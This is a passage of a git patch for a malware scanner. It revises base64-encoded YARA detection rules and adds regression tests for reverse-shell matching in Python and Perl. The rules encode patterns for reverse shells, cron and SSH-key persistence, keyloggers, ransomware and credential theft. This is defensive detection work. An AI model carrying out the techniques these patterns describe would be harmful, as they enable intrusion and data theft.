test_reverse_shell_rule_does_not_match_python_dup2_unrelated_local_logging(self): + """``os.dup2`` onto an unrelated log file's descriptor (stdout, never + stdin) after the socket has already closed must NOT satisfy the + descriptor-redirection marker — the socket is never wired to the + shell's stdin. See `_python_dup2_unrelated_local_logging_fixture`: + this must NOT match. + """ + findings = _run_builtin( + _python_dup2_unrelated_local_logging_fixture(), + "scripts/housekeeping.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_matches_multiline_perl_socket_without_parens(self): + """Perl's parenthesis-free ``open``/``exec`` forms are valid syntax + and must match the same as the parenthesized forms. See + `_multiline_perl_socket_reverse_shell_no_parens_fixture`. + """ + findings = _run_builtin( + _multiline_perl_socket_reverse_shell_no_parens_fixture(), + "scripts/backdoor.pl", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_rule_does_not_match_perl_helper_exec_with_sh_prefix(self): + """A non-shell helper whose name merely starts with ``sh`` (e.g. + ``sha256sum``) must NOT satisfy `$perl_socket`'s shell-execution + marker. See `_perl_helper_exec_nonshell_prefix_fixture`: this must + NOT match. + """ + findings = _run_builtin( + _perl_helper_exec_nonshell_prefix_fixture(), + "scripts/report.pl", + ) + assert not _has_rule(findings, "reverse_shell") + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path, From 17670f43f357432d7e1d9b834245fe3e18b07bff Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Mon, 28 Sep 2026 13:08:43 +0000 Subject: [PATCH 5/8] fix(yara): bind redirection evidence to the connected socket, not any local descriptor $python_socket accepted dup2(...) or stdin=.fileno() redirection from ANY file object's descriptor, not specifically the connected socket's. A client that connects, closes the socket, then opens an unrelated local file and dup2's or stdin=-wires *that* descriptor onto a shell still matched as a CRITICAL reverse shell, even though the shell's input channel is never wired to the network. $perl_socket had the analogous gap: it accepted STDIN/STDOUT/STDERR reopened from a literal local file path, not just the socket-duplication idiom (open(STDIN, "<&SOCKET")) real Perl reverse shells use. YARA's regex engine has no backreferences or lookaround, so the redirection cannot be bound to the same variable as the socket by regex alone. Instead: reject $python_socket matches whose span contains a local `= open(` assignment (the shape every local-file redirection needs to acquire a competing descriptor), and require Perl's STDIN/STDOUT/STDERR reopen to use the `&` fd-duplication form that socket redirection actually uses, rather than accepting any open(STD...) call. Also close a second, narrower gap in both: the shell-name alternatives ended in a bare \b word boundary, so a non-shell helper with `sh` as a prefix followed by a non-word character (`sh-helper`, alongside the already-fixed `sha256sum`) still satisfied the shell-execution requirement. Require the shell name be followed by a real token terminator (whitespace, quote, bracket, paren, comma, semicolon, or backslash) instead. Adds six regressions: local-file dup2 and stdin= redirection for Python (mirroring the exact PoCs from review), a non-shell hyphenated helper for each language, and local-file STDIN/STDOUT reopens for Perl. All fail against the prior rule and pass against this one; existing fixtures for both languages are unchanged. Signed-off-by: Udaya Tejas --- src/skillspector/yara_rules/malware.yar.b64 | 178 +++++++++++--------- tests/nodes/analyzers/test_static_yara.py | 162 ++++++++++++++++++ 2 files changed, 256 insertions(+), 84 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index 9883da7e0..1c6af7c15 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -15,87 +15,97 @@ KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC57MCwzMDB9KGR1cDJccypc KC57MCw1MH1cLmZpbGVub1woXClccyosXHMqMFxzKlwpLnswLDMwMH0oc3VicHJvY2Vzc1wuKGNh bGx8UG9wZW58cnVuKVxzKlwoXHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJh -c2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpXGJ8b3NcLnN5c3RlbVxzKlwoXHMqXFw/W1wiJ11cXD8o -XC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpXGJ8cHR5XC5zcGF3blxzKlwo -XHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtz -aHxjc2gpXGJ8b3NcLmV4ZWNbbHZdXHcqXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT8oc2h8 -YmFzaHxkYXNofGFzaHx6c2h8a3NofGNzaClcYil8c3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVu -KVxzKlwoXHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8 -enNofGtzaHxjc2gpXGIuezAsMjAwfXN0ZGluXHMqPVxzKlx3K1wuZmlsZW5vXChcKSkvcw0KICAg -ICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDIwMH1zb2NrZXRccypc -KFxzKlNPQ0suezAsMjAwfWNvbm5lY3RccypcKC57MCwzMDB9b3BlblxzKlwoP1xzKlNURChJTnxP -VVR8RVJSKS57MCwyMDB9ZXhlY1xzKlwoP1xzKlxcP1tcIiddXFw/KFwvYmluXC8pPyhzaHxiYXNo -fGRhc2h8YXNofHpzaHxrc2h8Y3NoKVxiL3MNCiAgICAgICAgJHBocF9mc29jayAgICAgICAgPSAv -ZnNvY2tvcGVuXHMqXCguKmV4ZWNccypcKC8gbm9jYXNlDQogICAgICAgICRydWJ5X3RjcHNvY2tl -dCAgID0gL1RDUFNvY2tldFwuXHMqbmV3XHMqXCguKmV4ZWNccypcKC8NCiAgICAgICAgJHBvd2Vy -c2hlbGxfdGNwICAgPSAvTmV3LU9iamVjdFxzK1N5c3RlbVwuTmV0XC5Tb2NrZXRzXC5UQ1BDbGll -bnQvIG5vY2FzZQ0KICAgICAgICAkc29jYXRfc2hlbGwgICAgICA9IC9zb2NhdFxzKy4qRVhFQy4q -XC9iaW5cLyhiYSk/c2gvIG5vY2FzZQ0KICAgICAgICAkbWtmaWZvX3NoZWxsICAgICA9IC9ta2Zp -Zm9ccysuKlx8XHMqXC9iaW5cLyhiYSk/c2gvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkg -b2YgdGhlbQ0KfQ0KDQpydWxlIGJhY2tkb29yX3BlcnNpc3RlbmNlDQp7DQogICAgbWV0YToNCiAg -ICAgICAgZGVzY3JpcHRpb24gPSAiQmFja2Rvb3IgcGVyc2lzdGVuY2Ugd2l0aCBtYWxpY2lvdXMg -cGF5bG9hZHMgKHNoZWxsIGNvbW1hbmRzLCBTU0gga2V5IGluamVjdGlvbiwgaGlkZGVuIHJvb3Qg -dXNlcnMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9 -ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9 -ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdz -Og0KICAgICAgICAkaGlkZGVuX3VzZXIgICAgICAgPSAvdXNlcmFkZFxzKy4qLW9ccystdVxzKzAv -IG5vY2FzZQ0KICAgICAgICAkY3Jvbl9wZXJzaXN0ICAgICAgPSAvY3JvbnRhYlxzLiooY3VybHx3 -Z2V0fG5jfGJhc2h8cHl0aG9uKS8gbm9jYXNlDQogICAgICAgICRzc2hfaW5qZWN0ICAgICAgICA9 -IC9lY2hvXHMrLio+Pj9ccyouKlwuc3NoXC9hdXRob3JpemVkX2tleXMvIG5vY2FzZQ0KICAgICAg -ICAkc3lzdGVtZF9wZXJzaXN0ICAgPSAvXFtTZXJ2aWNlXF0uKkV4ZWNTdGFydC4qKG5jfGJhc2h8 -cHl0aG9ufGN1cmwpLyBub2Nhc2UNCiAgICAgICAgJGJhc2hyY19wZXJzaXN0ICAgID0gL2VjaG9c -cysuKj4+P1xzKi4qXC5iYXNocmMvIG5vY2FzZQ0KICAgICAgICAkcHJvZmlsZV9wZXJzaXN0ICAg -PSAvZWNob1xzKy4qPj4/XHMqLipcLnByb2ZpbGUvIG5vY2FzZQ0KICAgICAgICAkaW5pdF9wZXJz -aXN0ICAgICAgPSAvXC9ldGNcL2luaXRcLmRcLy4qKG5jfGJhc2h8cmV2ZXJzZSkvIG5vY2FzZQ0K -ICAgICAgICAkbGRfcHJlbG9hZCAgICAgICAgPSAvTERfUFJFTE9BRC4qXC5zby8gbm9jYXNlDQog -ICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGtleWxvZ2dlcl9p -bmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiS2V5bG9nZ2Vy -IGZ1bmN0aW9uYWxpdHkgaW4gc2NyaXB0cyBvciBzb3VyY2UgY29kZSINCiAgICAgICAgY2F0ZWdv -cnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlk -ZW5jZSA9ICIwLjciDQogICAgc3RyaW5nczoNCiAgICAgICAgJHB5bnB1dCAgICAgICAgID0gL2Zy -b21ccytweW5wdXRcLmtleWJvYXJkXHMraW1wb3J0LyBub2Nhc2UNCiAgICAgICAgJGtleWJvYXJk -X2hvb2sgID0gL2tleWJvYXJkXC4ob25fcHJlc3N8aG9va3xvbl9yZWxlYXNlKS8gbm9jYXNlDQog -ICAgICAgICR4aW5wdXRfdGVzdCAgICA9IC94aW5wdXRccyt0ZXN0LyBub2Nhc2UNCiAgICAgICAg -JGxvZ2tleXMgICAgICAgID0gL2xvZ2tleXNccystLXN0YXJ0LyBub2Nhc2UNCiAgICAgICAgJGtl -eWJkX2V2ZW50ICAgID0gLyhHZXRBc3luY0tleVN0YXRlfFNldFdpbmRvd3NIb29rRXguKldIX0tF -WUJPQVJEKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0K -DQpydWxlIHJhbnNvbXdhcmVfYmVoYXZpb3INCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlw -dGlvbiA9ICJSYW5zb213YXJlLWxpa2UgcGF0dGVybnMgKG1hc3MgZW5jcnlwdGlvbiwgcmFuc29t -IG5vdGVzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkg -PSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC44Ig0KICAgIHN0cmluZ3M6DQog -ICAgICAgICR3YWxrX2VuY3J5cHQgICA9IC9vc1wud2Fsa1xzKlwoLipcLihlbmNyeXB0fGNpcGhl -cikvDQogICAgICAgICRyYW5zb21fbm90ZSAgICA9IC8oeW91clxzK2ZpbGVzXHMrKGhhdmVccyti -ZWVufGFyZSlccytlbmNyeXB0ZWR8cGF5XHMrLipiaXRjb2lufHNlbmRccysuKmJ0YykvIG5vY2Fz -ZQ0KICAgICAgICAkZXh0X3JlbmFtZSAgICAgPSAvb3NcLnJlbmFtZVxzKlwoLipcK1xzKlsnIl1c -Lihsb2NrZWR8ZW5jcnlwdGVkfGNyeXB0fGVuYylbJyJdXHMqXCkvDQogICAgICAgICRtYXNzX292 -ZXJ3cml0ZSA9IC9vc1wud2Fsa1xzKlwoLipvcGVuXHMqXCguKlsnXCJdd2JbJ1wiXVwpLw0KICAg -IGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBjMl9mcmFtZXdvcmtf -aW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkNvbW1hbmQt -YW5kLWNvbnRyb2wgZnJhbWV3b3JrIGluZGljYXRvcnMgKENvYmFsdCBTdHJpa2UsIE1ldGFzcGxv -aXQsIFNsaXZlciwgZXRjLikiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg -IHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuODUiDQogICAg -ICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFz -ZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY29iYWx0X3N0cmlrZSAgPSAiY29iYWx0c3RyaWtl -IiBub2Nhc2UNCiAgICAgICAgJG1ldGVycHJldGVyICAgID0gIm1ldGVycHJldGVyIiBub2Nhc2UN -CiAgICAgICAgJG1ldGFzcGxvaXQgICAgID0gL21ldGFzcGxvaXQuKihwYXlsb2FkfGV4cGxvaXR8 -c3RhZ2VyKS8gbm9jYXNlDQogICAgICAgICRlbXBpcmUgICAgICAgICA9IC9wb3dlcnNoZWxsLipl -bXBpcmUvIG5vY2FzZQ0KICAgICAgICAkc2xpdmVyX2MyICAgICAgPSAvc2xpdmVyLiooaW1wbGFu -dHxiZWFjb258c2Vzc2lvbikvIG5vY2FzZQ0KICAgICAgICAkY292ZW5hbnQgICAgICAgPSAvQ292 -ZW5hbnQuKihHcnVudHxMaXN0ZW5lcikvIG5vY2FzZQ0KICAgICAgICAkaGF2b2NfYzIgICAgICAg -PSAvaGF2b2MuKihkZW1vbnx0ZWFtc2VydmVyKS8gbm9jYXNlDQogICAgICAgICRiZWFjb25fY29u -ZmlnICA9IC8oQmVhY29uVHlwZXxDMlNlcnZlcnxQdWJsaWNLZXkuKndhdGVybWFyaykvIG5vY2Fz -ZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBpbmZvX3N0 -ZWFsZXINCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJJbmZvcm1hdGlvbiBz -dGVhbGVyIHBhdHRlcm5zIChjcmVkZW50aWFsIGhhcnZlc3RpbmcsIGJyb3dzZXIgZGF0YSB0aGVm -dCkiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJ -R0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0 -dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQog -ICAgICAgICRjaHJvbWVfbG9naW4gICAgID0gL0Nocm9tZS4qTG9naW5ccypEYXRhLyBub2Nhc2UN -CiAgICAgICAgJGZpcmVmb3hfbG9naW5zICAgPSAvbG9naW5zXC5qc29uLipmaXJlZm94LyBub2Nh -c2UNCiAgICAgICAgJGJyb3dzZXJfY29va2llcyAgPSAvQ29va2llcy4qKGNocm9tZXxmaXJlZm94 -fGVkZ2V8b3BlcmEpLyBub2Nhc2UNCiAgICAgICAgJHdhbGxldF9zdGVhbCAgICAgPSAvd2FsbGV0 -XC5kYXQvIG5vY2FzZQ0KICAgICAgICAkbWltaWthdHogICAgICAgICA9ICJtaW1pa2F0eiIgbm9j -YXNlDQogICAgICAgICRsYXphZ25lICAgICAgICAgID0gImxhemFnbmUiIG5vY2FzZQ0KICAgICAg -ICAkY3JlZF9kdW1wX3NhbSAgICA9IC9yZWdccytzYXZlXHMrLipcXHNhbS8gbm9jYXNlDQogICAg -ICAgICRudGRzX2R1bXAgICAgICAgID0gL250ZHNcLmRpdC8gbm9jYXNlDQogICAgY29uZGl0aW9u -Og0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0K +c2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpW1xzXCInXF0pLDtcXF18b3NcLnN5c3RlbVxzKlwoXHMq +XFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpW1xzXCIn +XF0pLDtcXF18cHR5XC5zcGF3blxzKlwoXHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/ +KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpW1xzXCInXF0pLDtcXF18b3NcLmV4ZWNbbHZd +XHcqXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT8oc2h8YmFzaHxkYXNofGFzaHx6c2h8a3No +fGNzaClbXHNcIidcXSksO1xcXSl8c3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoXHMq +XFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxj +c2gpW1xzXCInXF0pLDtcXF0uezAsMjAwfXN0ZGluXHMqPVxzKlx3K1wuZmlsZW5vXChcKSkvcw0K +ICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDIwMH1zb2NrZXRc +cypcKFxzKlNPQ0suezAsMjAwfWNvbm5lY3RccypcKC57MCwzMDB9b3BlblxzKlwoP1xzKlNURChJ +TnxPVVR8RVJSKVxzKixccypbXCInXT9bPD5dezEsMn0mLnswLDIwMH1leGVjXHMqXCg/XHMqXFw/ +W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpW1xzXCInXF0p +LDtcXF0vcw0KICAgICAgICAkcGhwX2Zzb2NrICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhl +Y1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5c +cypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAgICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXct +T2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tldHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAg +ICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9j +YXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwgICAgID0gL21rZmlmb1xzKy4qXHxccypcL2Jpblwv +KGJhKT9zaC8NCiAgICAgICAgJHB5dGhvbl9sb2NhbF9vcGVuID0gLz1ccypvcGVuXHMqXCgvDQog +ICAgY29uZGl0aW9uOg0KICAgICAgICAkYmFzaF9yZXZzaGVsbCBvciAkbmNfc2hlbGwgb3IgJG5j +YXRfc2hlbGwgb3IgJHBocF9mc29jayBvciAkcnVieV90Y3Bzb2NrZXQgb3INCiAgICAgICAgJHBv +d2Vyc2hlbGxfdGNwIG9yICRzb2NhdF9zaGVsbCBvciAkbWtmaWZvX3NoZWxsIG9yICRwZXJsX3Nv +Y2tldCBvcg0KICAgICAgICAoDQogICAgICAgICAgICAkcHl0aG9uX3NvY2tldCBhbmQgbm90ICgN +CiAgICAgICAgICAgICAgICAkcHl0aG9uX2xvY2FsX29wZW4gYW5kDQogICAgICAgICAgICAgICAg +Zm9yIGFueSBpIGluICgxLi4jcHl0aG9uX3NvY2tldCkgOiAoDQogICAgICAgICAgICAgICAgICAg +ICRweXRob25fbG9jYWxfb3BlbiBpbiAoQHB5dGhvbl9zb2NrZXRbaV0gLi4gQHB5dGhvbl9zb2Nr +ZXRbaV0gKyAhcHl0aG9uX3NvY2tldFtpXSkNCiAgICAgICAgICAgICAgICApDQogICAgICAgICAg +ICApDQogICAgICAgICkNCn0NCg0KcnVsZSBiYWNrZG9vcl9wZXJzaXN0ZW5jZQ0Kew0KICAgIG1l +dGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29yIHBlcnNpc3RlbmNlIHdpdGggbWFs +aWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NIIGtleSBpbmplY3Rpb24sIGhpZGRl +biByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2 +ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl +cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg +c3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAgICAgID0gL3VzZXJhZGRccysuKi1vXHMr +LXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVyc2lzdCAgICAgID0gL2Nyb250YWJccy4q +KGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2FzZQ0KICAgICAgICAkc3NoX2luamVjdCAg +ICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwvYXV0aG9yaXplZF9rZXlzLyBub2Nhc2UN +CiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xbU2VydmljZVxdLipFeGVjU3RhcnQuKihu +Y3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAgICAgICRiYXNocmNfcGVyc2lzdCAgICA9 +IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nhc2UNCiAgICAgICAgJHByb2ZpbGVfcGVy +c2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9maWxlLyBub2Nhc2UNCiAgICAgICAgJGlu +aXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5kXC8uKihuY3xiYXNofHJldmVyc2UpLyBu +b2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAgID0gL0xEX1BSRUxPQUQuKlwuc28vIG5v +Y2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBrZXls +b2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIktl +eWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMgb3Igc291cmNlIGNvZGUiDQogICAgICAg +IGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJR0giDQogICAgICAg +IGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6DQogICAgICAgICRweW5wdXQgICAgICAg +ICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2ltcG9ydC8gbm9jYXNlDQogICAgICAgICRr +ZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNzfGhvb2t8b25fcmVsZWFzZSkvIG5v +Y2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAveGlucHV0XHMrdGVzdC8gbm9jYXNlDQog +ICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlzXHMrLS1zdGFydC8gbm9jYXNlDQogICAg +ICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlTdGF0ZXxTZXRXaW5kb3dzSG9va0V4 +LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRo +ZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9yDQp7DQogICAgbWV0YToNCiAgICAgICAg +ZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBhdHRlcm5zIChtYXNzIGVuY3J5cHRpb24s +IHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNl +dmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuOCINCiAgICBzdHJp +bmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAvb3NcLndhbGtccypcKC4qXC4oZW5jcnlw +dHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUgICAgPSAvKHlvdXJccytmaWxlc1xzKyho +YXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxzKy4qYml0Y29pbnxzZW5kXHMrLipidGMp +LyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0gL29zXC5yZW5hbWVccypcKC4qXCtc +cypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMpWyciXVxzKlwpLw0KICAgICAgICAk +bWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4qb3BlblxzKlwoLipbJ1wiXXdiWydcIl1c +KS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYzJfZnJh +bWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJD +b21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0b3JzIChDb2JhbHQgU3RyaWtlLCBN +ZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0K +ICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjg1 +Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0 +dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGNvYmFsdF9zdHJpa2UgID0gImNvYmFs +dHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnByZXRlciAgICA9ICJtZXRlcnByZXRlciIg +bm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9IC9tZXRhc3Bsb2l0LioocGF5bG9hZHxl +eHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAkZW1waXJlICAgICAgICAgPSAvcG93ZXJz +aGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNsaXZlcl9jMiAgICAgID0gL3NsaXZlci4q +KGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UNCiAgICAgICAgJGNvdmVuYW50ICAgICAg +ID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBub2Nhc2UNCiAgICAgICAgJGhhdm9jX2My +ICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZlcikvIG5vY2FzZQ0KICAgICAgICAkYmVh +Y29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2ZXJ8UHVibGljS2V5Lip3YXRlcm1hcmsp +LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg +aW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiSW5mb3Jt +YXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlhbCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRh +dGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0 +eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuNzUiDQogICAgICAgIHJlZmVyZW5j +ZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSINCiAgICBzdHJp +bmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8g +bm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAgID0gL2xvZ2luc1wuanNvbi4qZmlyZWZv +eC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tpZXMgID0gL0Nvb2tpZXMuKihjaHJvbWV8 +ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAgICAgICR3YWxsZXRfc3RlYWwgICAgID0g +L3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1pbWlrYXR6ICAgICAgICAgPSAibWltaWth +dHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAgICAgICA9ICJsYXphZ25lIiBub2Nhc2UN +CiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMrc2F2ZVxzKy4qXFxzYW0vIG5vY2Fz +ZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9udGRzXC5kaXQvIG5vY2FzZQ0KICAgIGNv +bmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg== diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 11d3889f3..84217c9ee 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -310,6 +310,99 @@ def _perl_helper_exec_nonshell_prefix_fixture() -> str: ).decode() +def _python_dup2_local_open_fixture() -> str: + """A client that closes its socket, opens an unrelated local file, and + ``dup2``s *that* file's descriptor onto stdin before running a shell. + + Requiring only ``dup2(..., 0)`` accepted redirection from any file + object's descriptor, not specifically the connected socket's — this + ``commands = open("local.commands")`` source is a local file, never the + (already closed) 